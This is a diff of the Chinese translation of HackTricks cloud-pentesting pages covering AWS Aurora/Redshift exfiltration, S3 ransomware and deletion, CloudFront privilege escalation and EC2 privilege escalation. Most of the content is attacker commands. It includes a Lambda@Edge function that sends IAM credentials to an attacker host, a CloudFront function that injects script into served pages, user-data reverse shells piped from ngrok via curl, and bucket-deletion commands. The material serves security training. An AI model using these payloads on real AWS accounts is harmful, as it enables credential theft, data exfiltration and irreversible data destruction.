 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
 - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (用于查询)
- `rds-data:ExecuteStatement` (可选；如需可用于初始化数据)
+- `rds-data:ExecuteStatement` (可选；如需初始化数据)

-测试于：us-east-1、Aurora PostgreSQL 16.4 (Serverless v2)、Redshift Serverless。
+Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

 <details>
-<summary>1) 创建 Redshift Serverless 命名空间 + 工作组</summary>
+<summary>1) 创建 Redshift Serverless namespace + workgroup</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -509,7 +541,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>

 <details>
-<summary>2) 配置 Redshift 资源策略以允许来自 Aurora 的来源</summary>
+<summary>2) 配置 Redshift 资源策略以允许 Aurora 来源</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -540,7 +572,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>

 <details>
-<summary>3) 创建 Aurora PostgreSQL 集群（启用 Data API 和 逻辑复制）</summary>
+<summary>3) 创建 Aurora PostgreSQL 集群（启用 Data API 和逻辑复制）</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -583,7 +615,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>

 <details>
-<summary>5) 在 Redshift 中将复制的数据物化并查询</summary>
+<summary>5) 在 Redshift 中物化并查询复制的数据</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -596,12 +628,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>

-在测试中观察到的证据：
+测试中观察到的证据：
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION 显示 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 且在创建 DB 之前状态为 PendingDbConnectState。
- 在执行 CREATE DATABASE FROM INTEGRATION 之后，列出表显示 schema ztl 和表 customers；从 ztl.customers 查询返回 2 行（Alice、Bob）。
-
-影响：持续的近实时 exfiltration 将选定的 Aurora PostgreSQL 表导出到由攻击者控制的 Redshift Serverless，且无需使用数据库凭证、备份或对源集群的网络访问。
+- SVV_INTEGRATION 显示 integration_id 377a462b-c42c-4f08-937b-77fe75d98211，并在创建 DB 之前处于 PendingDbConnectState。
+- 在执行 CREATE DATABASE FROM INTEGRATION 之后，列出 tables 显示 schema ztl 和 table customers；从 ztl.customers 查询返回 2 行（Alice、Bob）。

+影响：攻击者可持续近实时地将选定的 Aurora PostgreSQL tables exfiltration 到其控制的 Redshift Serverless 中，且无需使用 database credentials、backups 或对 source cluster 的 network access。

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -4,35 +4,66 @@

 ## S3

-有关更多信息，请参见：
+For more information check:

 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}

-### 敏感信息
+### Sensitive Information

-有时你可以在可读的 buckets 中发现敏感信息。例如，terraform state 中的 secrets。
+有时你会在 buckets 中以可读形式发现敏感信息。例如，terraform state secrets。

 ### Pivoting

-不同的平台可能使用 S3 来存储敏感资产。\
-例如，**airflow** 可能将 **DAGs** **code** 存放在那里，或者 **web pages** 可能直接由 S3 提供。拥有写权限的攻击者可以 **modify the code** 从 bucket 中 **pivot** 到其他平台，或通过修改 JS 文件 **takeover accounts**。
+Different platforms could be using S3 to store sensitive assets.\
+For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. 拥有写权限的攻击者可以**从 bucket 修改 code**以**pivot**到其他平台，或通过修改 JS files **接管账户**。

 ### S3 Ransomware

-在这种情形下，**attacker creates a KMS (Key Management Service) key in their own AWS account** 或在另一个被攻陷的账户中创建该 key。接着他们将该 **key accessible to anyone in the world**，允许任何 AWS user、role 或 account 使用此 key 对对象进行加密。然而，这些对象无法被解密。
+在这种情景下，**攻击者在其自己的 AWS account**或另一个被攻陷的账户中创建一个 KMS (Key Management Service) key。然后他们使该 **key 对全世界任何人可访问**，允许任何 AWS 用户、角色或账户使用该 key 对对象进行加密。但这些对象无法被解密。

-攻击者通过各种方法识别目标 **S3 bucket and gains write-level access**。这可能是由于 bucket 配置不当导致公开暴露，或攻击者获得了 AWS 环境的访问权限。攻击者通常以包含敏感信息的 buckets 为目标，例如 personally identifiable information (PII)、protected health information (PHI)、日志、备份等。
+攻击者识别目标 **S3 bucket 并获得写权限**，这可能通过多种方法实现。可能是由于 bucket 配置不当导致公开暴露，或攻击者获取了 AWS 环境的访问权限。攻击者通常会选择包含敏感信息的 buckets，例如个人身份信息 (PII)、受保护的健康信息 (PHI)、日志、备份等。

-为了确定该 bucket 是否可被用于 ransomware，攻击者会检查其配置。这包括确认 **S3 Object Versioning** 是否启用以及 **multi-factor authentication delete (MFA delete) is enabled**。如果未启用 Object Versioning，攻击者可以继续。如果启用了 Object Versioning 但 MFA delete 未启用，攻击者可以 **disable Object Versioning**。如果同时启用了 Object Versioning 和 MFA delete，则攻击者对该特定 bucket 发起 ransomware 将更加困难。
+为了确定该 bucket 是否可作为勒索目标，攻击者会检查其配置，包括验证 **S3 Object Versioning** 是否启用，以及 **multi-factor authentication delete (MFA delete)** 是否启用。如果 Object Versioning 未启用，攻击者可以继续。如果 Object Versioning 启用但 MFA delete 未启用，攻击者可以**禁用 Object Versioning**。如果 Object Versioning 和 MFA delete 都启用，那么对该 bucket 发起 ransomware 就更加困难。

-攻击者使用 AWS API **replaces each object in the bucket with an encrypted copy using their KMS key**。这会有效地加密 bucket 中的数据，没有该 key 则无法访问。
+使用 AWS API，攻击者会使用他们的 KMS key **替换 bucket 中的每个对象为加密副本**。这会有效地加密 bucket 中的数据，使其在没有该 key 的情况下无法访问。

-为了进一步施压，攻击者会安排删除用于攻击的 KMS key。这会给目标一个 7 天的窗口在 key 被删除前恢复数据，否则数据将永久丢失。
+为进一步施压，攻击者会安排删除用于攻击的 KMS key。这会给目标一个 7-day 的时间窗口来恢复数据，在 key 被删除并导致数据永久丢失之前。

-最后，攻击者可能会上传一个最终文件，通常名为 "ransom-note.txt"，其中包含关于如何取回文件的说明。该文件以未加密形式上传，可能是为了吸引目标注意并让其意识到发生了 ransomware 攻击。
+最后，攻击者可能会上传一个最终文件，通常命名为 "ransom-note.txt"，其中包含目标如何取回其文件的说明。该文件以未加密形式上传，可能是为了吸引目标注意并让他们意识到发生了勒索攻击。

-**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### `s3:RestoreObject`
+
+拥有 s3:RestoreObject 权限的攻击者可以重新激活被存档到 Glacier 或 Deep Archive 的对象，使其临时可访问。这样可以恢复并外泄通常无法触及的历史归档数据（备份、快照、日志、证书、旧的 secrets）。如果攻击者将此权限与读取权限结合（例如，s3:GetObject），他们就能获取敏感数据的完整副本。
+```bash
+aws s3api restore-object \
+--bucket <BUCKET_NAME> \
+--key <OBJECT_KEY> \
+--restore-request '{
+"Days": <NUMBER_OF_DAYS>,
+"GlacierJobParameters": { "Tier": "Standard" }
+}'
+```
+### `s3:Delete*`
+
+拥有 `s3:Delete*` 权限的攻击者可以删除对象、版本和整个存储桶，破坏备份，并导致立即且不可逆的数据丢失、证据毁灭，以及备份或恢复工件的妥协。
+```bash
+# Delete an object from a bucket
+aws s3api delete-object \
+--bucket <BUCKET_NAME> \
+--key <OBJECT_KEY>
+
+# Delete a specific version
+aws s3api delete-object \
+--bucket <BUCKET_NAME> \
+--key <OBJECT_KEY> \
+--version-id <VERSION_ID>
+
+# Delete a bucket
+aws s3api delete-bucket \
+--bucket <BUCKET_NAME>
+```
+**欲了解更多信息** [**查看原始研究**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,217 @@
+# AWS - CloudFront Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
+
+拥有 `cloudfront:UpdateDistribution` 和 `cloudfront:GetDistributionConfig` 权限的攻击者可以修改 CloudFront distribution 的配置。攻击者不需要对目标 S3 bucket 本身拥有权限，尽管如果该 bucket 有允许来自 cloudfront.amazonaws.com 服务主体访问的宽松策略，攻击会更容易实现。
+
+攻击者会将 distribution 的 origin 配置更改为指向另一个 S3 bucket，或指向攻击者控制的服务器。首先，他们会获取当前的 distribution 配置：
+```bash
+aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
+```
+然后他们编辑 current-config.json，将 origin 指向新的资源 — 例如，不同的 S3 bucket：
+```bash
+...
+"Origins": {
+"Quantity": 1,
+"Items": [
+{
+"Id": "<origin-id>",
+"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
+"OriginPath": "",
+"CustomHeaders": {
+"Quantity": 0
+},
+"S3OriginConfig": {
+"OriginAccessIdentity": "",
+"OriginReadTimeout": 30
+},
+"ConnectionAttempts": 3,
+"ConnectionTimeout": 10,
+"OriginShield": {
+"Enabled": false
+},
+"OriginAccessControlId": "E30N32Y4IBZ971"
+}
+]
+},
+...
+```
+最后，应用已修改的配置（在更新时必须提供当前的 ETag）：
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id <distribution-id> \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+<!DOCTYPE html>
+<html>
+<head>
+<title>Compromised Page</title>
+</head>
+<body>
+<h1>Original Content</h1>
+<p>This page has been modified by CloudFront Functions</p>
+<script>
+// Malicious JavaScript
+alert('CloudFront Function Code Injection Successful!');
+</script>
+</body>
+</html>
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# 在 CloudFront 中创建恶意函数
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# 获取函数在 DEVELOPMENT 阶段的 ETag
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# 将函数发布到 LIVE 阶段
+aws cloudfront publish-function --name malicious-function --if-match <etag>
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https://<attacker-ip>/steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# 打包 Lambda@Edge 函数
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# 使用特权角色创建 Lambda@Edge 函数
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role <privileged-role-arn> \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region <region>
+
+# 发布函数的一个版本
+aws lambda publish-version --function-name malicious-lambda-edge --region <region>
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# 应用已更新的 distribution 配置（必须使用当前 ETag）
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id <distribution-id> \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# 通过请求 distribution 来触发函数
+curl -v https://<distribution-domain>.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@

 ## EC2

-欲了解更多 **关于 EC2 的信息**，请查看：
+有关 **EC2 的更多信息**，请查看：

 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@

 ### `iam:PassRole`, `ec2:RunInstances`

-攻击者可以**创建一个实例并附加一个 IAM role，然后访问该实例**，从元数据端点窃取 IAM role 凭证。
+攻击者可以**创建一个附加了 IAM role 的实例并访问该实例**，从 metadata endpoint 窃取 IAM role 的凭据。

 - **通过 SSH 访问**

-使用已创建的 **ssh key** (`--key-name`) 启动一个新实例，然后通过 ssh 登录该实例（如果你想创建新的 key，可能需要权限 `ec2:CreateKeyPair`）。
+使用一个**已创建的** **ssh key** (`--key-name`) 启动一个新实例，然后 ssh 登录到该实例（如果你想创建一个新的 ssh key，可能需要权限 `ec2:CreateKeyPair`）。
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
 --security-group-ids <sg-id>
 ```
- **通过 user data 中的 rev shell 访问**
+- **Access via rev shell in user data**

-你可以使用 **user data** (`--user-data`) 启动一个新实例，使其向你发送一个 **rev shell**。通过这种方式你不需要指定 security group。
+你可以使用 **user data** (`--user-data`) 启动一个新实例，该实例会向你发送一个 **rev shell**。通过这种方式你不需要指定 security group。
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-如果在实例外使用 IAM role 的凭证，请注意 GuradDuty：
+如果在实例外使用 IAM role 的凭证，请小心 GuradDuty：

 {{#ref}}
 ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}

-**潜在影响：** 直接对附加到现有 instance profiles 的任意 EC2 role 进行 privesc。
+**潜在影响：** Direct privesc 到附加在现有 instance profiles 的任何 EC2 role。

 #### Privesc to ECS

-通过这组权限，你还可以**创建一个 EC2 instance 并将其注册到 ECS cluster 中**。这样，ECS **services** 会在你可以访问的 **EC2 instance** 中 **运行**，然后你可以渗透这些服务（docker containers），并**窃取它们附着的 ECS roles**。
+有了这组权限，你还可以 **create an EC2 instance and register it inside an ECS cluster**。这样，ECS **services** 会在你可访问的 **EC2 instance** 中 **run**，然后你可以渗透这些服务（docker containers）并 **steal their ECS roles attached**。
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-要了解如何**强制 ECS services 在这个新的 EC2 实例上运行**，请查看：
+要了解如何**在此新的 EC2 实例上强制运行 ECS 服务**，请查看：

 {{#ref}}
 ../aws-ecs-privesc/README.md
 {{#endref}}

-如果你**无法创建新的实例**但拥有权限 `ecs:RegisterContainerInstance`，你可能能够将该实例注册到集群中并执行前述攻击。
+如果你**无法创建新实例**但拥有权限 `ecs:RegisterContainerInstance`，你可能能够将该实例注册到集群中并执行所述攻击。

-**潜在影响：** 直接对附加到任务的 ECS roles 造成 privesc。
+**Potential Impact:** 直接 privesc 到附加在任务上的 ECS 角色。

 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

-与前一种情形类似，拥有这些权限的攻击者可以**更改被攻陷实例的 IAM role**，从而窃取新的凭证。\
-由于 instance profile 只能有 1 个 role，如果 instance profile **已经有一个 role**（常见情况），你还需要 **`iam:RemoveRoleFromInstanceProfile`**。
+与之前的情形类似，拥有这些权限的攻击者可以**更改被攻陷实例的 IAM 角色**，从而窃取新的凭证。\
+由于 instance profile 只能有 1 个角色，如果 instance profile **已经有角色**（常见情况），你还需要 **`iam:RemoveRoleFromInstanceProfile`**。
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,34 +80,35 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-如果 **instance profile has a role** 且攻击者 **cannot remove it**，还有另一种变通方法。他可以 **find** 一个 **instance profile without a role** 或 **create a new one** (`iam:CreateInstanceProfile`)，将该 **role** **add** 到该 **instance profile**（如前所述），并将该被占用的 **instance profile** 关联到被攻陷的 i**nstance：**
+如果 **实例配置文件有角色** 并且攻击者 **无法移除它**，存在另一种变通方法。  
+他可以 **找到** 一个 **没有角色的实例配置文件** 或 **创建一个新的** (`iam:CreateInstanceProfile`)，**将该角色添加到该实例配置文件**（如前所述），并 **将该实例配置文件关联** 到被攻陷的 **实例：**

- 如果该 instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
+- 如果该 **实例没有任何实例配置文件** (`ec2:AssociateIamInstanceProfile`)
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**Potential Impact:** 直接 privesc 到不同的 EC2 role（你需要已攻陷一个 AWS EC2 实例，并且具备一些额外权限或特定的 instance profile 状态）。
+**潜在影响：** 直接 privesc 到不同的 EC2 角色（你需要已攻陷一台 AWS EC2 实例，并拥有额外权限或特定的实例配置文件状态）。

 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

-拥有这些权限可以更改与实例关联的 instance profile，因此如果攻击者已经取得某个实例的访问权限，他就能够通过替换该实例关联的 instance profile 来窃取更多 instance profile roles 的凭证。
+具有这些权限可以更改关联到实例的实例配置文件，因此如果攻击者已经访问了该实例，他将能够通过更改其关联的实例配置文件来窃取更多角色的凭证。

- 如果它 **有 instance profile**，你可以 **移除** 该 instance profile (`ec2:DisassociateIamInstanceProfile`) 并 **关联** 它
+- 如果它 **有实例配置文件**，你可以 **移除** 该实例配置文件（`ec2:DisassociateIamInstanceProfile`）并 **关联** 它
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
- 或 **替换** 被攻陷的实例的 **实例配置文件** (`ec2:ReplaceIamInstanceProfileAssociation`).
+- 或 **替换** 已被入侵实例的 **instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
-**Potential Impact:** 直接提升权限到不同的 EC2 role（你需要已攻破一台 AWS EC2 实例并拥有一些额外权限或特定的 instance profile 状态）。
+**Potential Impact:** 直接 privesc 到另一个 EC2 role（你需要已入侵一个 AWS EC2 instance，并且拥有额外权限或特定的 instance profile status）。

 ### `ec2:RequestSpotInstances`,`iam:PassRole`

-拥有 **`ec2:RequestSpotInstances`和`iam:PassRole`** 权限的攻击者可以 **请求** 一个 **Spot Instance**，附带一个 **EC2 Role attached**，并在 **user data** 中放入一个 **rev shell**。\
-一旦实例运行，他就可以 **窃取 IAM role**。
+拥有 **`ec2:RequestSpotInstances` 和 `iam:PassRole`** 权限的攻击者可以 **请求** 一个附有 **EC2 Role** 的 **Spot Instance**，并在 **user data** 中放入一个 **rev shell**。\
+实例运行后，攻击者可以 **窃取该 IAM role**。
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +120,9 @@ aws ec2 request-spot-instances \
 ```
 ### `ec2:ModifyInstanceAttribute`

-拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例的属性。其中，他可以**更改 user data**，这意味着他可以使实例**运行任意代码**，从而可用于获得一个 **rev shell to the EC2 instance**。
+拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例的属性。其中，他可以 **change the user data**，这意味着他可以让实例 **run arbitrary data**，从而可用于获得对 **rev shell to the EC2 instance**。

-注意这些属性只能在实例停止时修改，因此需要 **`ec2:StopInstances`** 和 **`ec2:StartInstances`** 权限。
+注意，这些属性只能在实例停止时被修改，因此需要 **`ec2:StopInstances`** 和 **`ec2:StartInstances`** 权限。
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -158,11 +159,11 @@ aws ec2 modify-instance-attribute \

 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Potential Impact:** 直接对任何附加到已创建实例的 EC2 IAM Role 进行 privesc。
+**潜在影响：** 直接提权到附加到被创建实例的任何 EC2 IAM Role。

 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

-拥有 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 权限的攻击者可以创建一个 **新的 Launch Template 版本**，在 **user data** 中放入 **rev shell** 并附加 **任意 EC2 IAM Role**，更改默认版本。任何 **Autoscaler group** **使用** 该 **Launch Template** 且 **配置** 为使用 **latest** 或 **default version** 时，会 **重新运行实例** 并执行该 rev shell。
+具有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **new Launch Template version**，在 **user data** 中放入 **rev shell in** 并附加 **any EC2 IAM Role on it**，修改默认版本，然后任何 **any Autoscaler group** **using** 该 **Launch Templat**e、且被 **configured** 为使用 **latest** 或 **default version** 的都会 **re-run the instances** 来使用该模板并执行 rev shell。
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +177,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Potential Impact:** 直接提权到另一个 EC2 角色。
+**可能影响：** 直接 privesc 到另一个 EC2 role。

 ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

-具有权限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 的攻击者可以 **create a Launch Configuration**，在其中放入一个 **IAM Role** 和 位于 **user data** 中的 **rev shell**，然后从该配置 **create an autoscaling group**，并等待 rev shell 去 **steal the IAM Role**。
+具有权限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 的攻击者可以 **create a Launch Configuration**，在 **user data** 中放入带有 **IAM Role** 的 **rev shell**，然后从该配置 **create an autoscaling group** 并等待 rev shell **steal the IAM Role**。
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -196,28 +197,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 --desired-capacity 1 \
 --vpc-zone-identifier "subnet-e282f9b8"
 ```
-**Potential Impact:** 直接将 privesc 升级到不同的 EC2 role。
+**Potential Impact:** 直接 privesc 到 不同 EC2 角色。

 ### `!autoscaling`

-权限集合 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **不足以将权限提升** 到一个 IAM 角色，因为要附加在 Launch Configuration 或 Launch Template 中指定的角色，**你需要权限 `iam:PassRole` 和 `ec2:RunInstances`**（这是已知的 privesc）。
+这组权限 **`ec2:CreateLaunchTemplate`** 和 **`autoscaling:CreateAutoScalingGroup`** **并不足以 提权** 到 IAM 角色，因为为了在 Launch Configuration 或 Launch Template 中附加指定的角色，**你需要 权限 `iam:PassRole`and `ec2:RunInstances`**（这是已知的 privesc）。

 ### `ec2-instance-connect:SendSSHPublicKey`

-拥有权限 **`ec2-instance-connect:SendSSHPublicKey`** 的攻击者可以向某个用户添加 ssh 密钥，并使用它进行访问（如果他对实例有 ssh 访问权限）或用于提权。
+拥有权限 **`ec2-instance-connect:SendSSHPublicKey`** 的攻击者可以向用户添加 ssh 密钥，并在对该实例有 ssh 访问权限时使用该密钥进行访问，或用来提升权限。
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**潜在影响：** 直接 privesc 到附加在运行实例上的 EC2 IAM roles。
+**潜在影响：** 对附加到正在运行实例的 EC2 IAM roles 直接进行 privesc。

 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

-拥有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **将 ssh key 添加到串行控制台连接上**。如果串行控制台未启用，攻击者需要权限 **`ec2:EnableSerialConsoleAccess` 来启用它**。
+具有权限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 的攻击者可以 **向串行连接添加 ssh 密钥**。如果串行控制台未启用，攻击者需要权限 **`ec2:EnableSerialConsoleAccess`** 才能启用它。

-要连接到串行端口，您还**需要知道机器内部某个用户的 username 和 password**。
+要连接到串行端口，你还 **需要知道机器内某个用户的用户名和密码**。
 ```bash
 aws ec2 enable-serial-console-access

@@ -229,13 +230,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \

 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-这种方式对 privesc 并不是很有用，因为你需要知道用户名和密码才能利用它。
+这种方法对 privesc 并不是很有用，因为你需要知道用户名和密码才能利用它。

-**潜在影响：**（很难证实）直接对附加到运行中实例的 EC2 IAM roles 实现 privesc。
+**潜在影响：**（高度无法证实）直接对附加到运行实例的 EC2 IAM roles 进行 privesc。

 ### `describe-launch-templates`,`describe-launch-template-versions`

-由于 launch templates 有版本控制，具有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用它们来发现敏感信息，例如存在于 user data 中的凭证。为此，下面的脚本会遍历所有可用 launch templates 的版本：
+由于 launch templates 具有版本控制，拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息，例如存在于 user data 中的凭据。为此，下面的脚本会遍历可用 launch templates 的所有版本：
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do
@@ -248,29 +249,24 @@ echo
 done | grep -iE "aws_|password|token|api"
 done
 ```
-在上面的命令中，虽然我们指定了某些模式（`aws_|password|token|api`），但你可以使用不同的正则来搜索其他类型的敏感信息。
